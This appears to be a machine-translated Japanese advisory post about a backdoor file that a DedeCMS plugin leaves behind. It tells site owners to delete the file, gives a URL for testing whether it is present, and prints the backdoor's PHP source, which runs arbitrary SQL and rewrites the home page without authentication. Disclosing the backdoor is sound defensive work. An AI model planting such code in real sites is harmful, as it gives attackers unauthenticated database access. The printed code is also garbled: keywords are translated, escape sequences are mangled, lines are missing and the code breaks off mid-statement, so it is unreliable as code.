公式バックドアを削除する方法: コレクション マスターをインストールした後、インクルード ディレクトリ内の dedesql.query.php ファイルをすぐに削除してください。ファイルの名前は arc.sqlquery.class.php に変更されている可能性があります。それを削除します。このファイルを使用すると、ログイン認証なしで Web サイトのデータベースにクエリを実行したり、データの更新、削除、クエリなどの操作を実行したりできます。私が言ったとおりであるかどうかを自分でテストすることもできます。方法は次のとおりです。
http://yourdomainname.com/include/dedesql.query.php?dopost=viewinfo
上記の URL を入力してバックドアを開きます。インターフェース。
正直に言うと、最善の方法は、意図的にバックドアを残すプログラムを使用しないことです。このバックドアは発見されましたが、次のいわゆる新しいバージョンでさらにバックドアが登場するかどうかは神のみぞ知るです。このバックドア ファイルのコードは次のとおりです:
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(emptyempty($dopost))
{
$dopost = "";
}
if($dopost=="rename")
{
if(rename('dedesql.query.php','arc.sqlquery.class.php')){
echo "成功!";
}else{
echo "失败!";
}
終了();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名!";
}
else
{
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename);
$dsql->Execute('me');
$row2 = $dsql->GetArray('me',MYSQL_BOTH);
$ctinfo = $row2[1];
echo "
".trim($ctinfo)."";
}
終了();
}
if($dopost=="index")
{
require_once(DEDEINC.'/arc.partview.class.php');
$envs = $_sys_globals = array();
$envs['aid'] = 0;
$pv = 新しい PartView();
$row = $pv->dsql->GetOne('Select * From `dede_homepageset`');
$templet = str_replace("{style}",$cfg_df_style,$row['templet']);
$homeFile = dirname(__FILE__).'/'.$row['position'];
$homeFile = str_replace("//","/",str_replace("\","/",$homeFile));
$fp = fopen($homeFile,'w') または die("無法更新网站主页到:$homeFile 位置");
fclose($fp);
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet;
$pv->SetTemplet($tpl);
$pv->SaveToHtml($homeFile);
$pv->Close();
echo "首页更新成功!";
終了();
}
else if($dopost=="クエリ")
{
$sqlquery = トリム(stripslashes($sqlquery));
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery))
{
echo "
' 'データベース' または 'データベース' の句はここでは実行できません。";
exit();
}
if(eregi("^select ",$sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute( );
if($dsql->GetTotalRow()<=0)
{
echo "SQL を実行: {$sqlquery}、レコードが返されませんでした! ";
}
else
{
echo "SQL を実行: {$sqlquery}、".$dsql->GetTotalRow()." レコードが返されます。返される最大数は 100 です。 ";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j>100)
{
break;
}
echo "< ;hr size=1 width='100%'/>";
echo "Record:$j";
echo "
";
foreach($row as $k=>$v)
{
echo "
{$k}:{$v}
rn";
exit();
}
if($querytype==2)
{
$sqlquery = str_replace("r","",$sqlquery); 0, }n",$sqlquery);
$nerrCode = "";$i=0;
foreach($sqls as $q)
{
$q = トリム($q);
if($q== "" )
{
継続;
$dsql->ExecuteNoneQuery($q);
if($errCode=="")
{
$ i++
}
else
{
$nerrCode .= "実行:
$q エラー、エラー メッセージ:
" .$ errCode."";
}
}
echo "{$i} SQL ステートメントが正常に実行されました。
";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = トリム($dsql->GetError());
echo "1 つの SQL ステートメントが正常に実行されました。
";
echo $nerrCode;
}
exit();
}
if($dopost=="view")
{
;echo '
SQL命令行工具